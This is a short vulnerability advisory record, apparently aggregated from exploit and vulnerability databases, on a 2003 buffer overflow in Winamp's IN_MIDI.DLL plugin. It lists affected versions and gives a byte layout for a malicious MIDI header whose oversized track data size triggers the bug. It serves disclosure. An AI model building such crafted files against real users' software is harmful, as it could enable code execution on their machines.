https://www.exploit-db.com/exploits/23124
https://www.securityfocus.com/bid/82739
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200309-018

用于Winamp2.91版本中的N_MIDI.DLL插件3.01及其早期版本存在漏洞。远程攻击者借助带超大“Trackdatasize”值的MIDI文件执行任意代码。

source: http://www.securityfocus.com/bid/8567/info

Winamp MIDI plugin, IN_MIDI.DLL has been reported prone to a buffer overflow issue when handling malicious MIDI files. The issue presents itself when a malicious value is passed as the Track Data Size of a malicious MIDI file header. Although unconfirmed it has been conjectured that an attacker may exploit this condition to execute arbitrary code in the context of the user who is running the affected Winamp player. 

4 bytes MIDI Header "MThd"
4 bytes Header data size 00000006
2 bytes Format 0000
2 bytes Number of tracks 0001
2 bytes Divisions 0001
4 bytes Track Header "MTrk"
4 bytes Track data size ffffffff <--- bug
... "aaaaaaaaaaaaaaaaaaaaa..." <--- fun

NullSoft Winamp 2.91

NullSoft Winamp 3.1

NullSoft Winamp 3.0

NullSoft Winamp 2.81

来源:BUGTRAQ
名称:20030908Winamp2.91letscodeexecutionthroughMIDIfiles
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=106305643432112&w;=2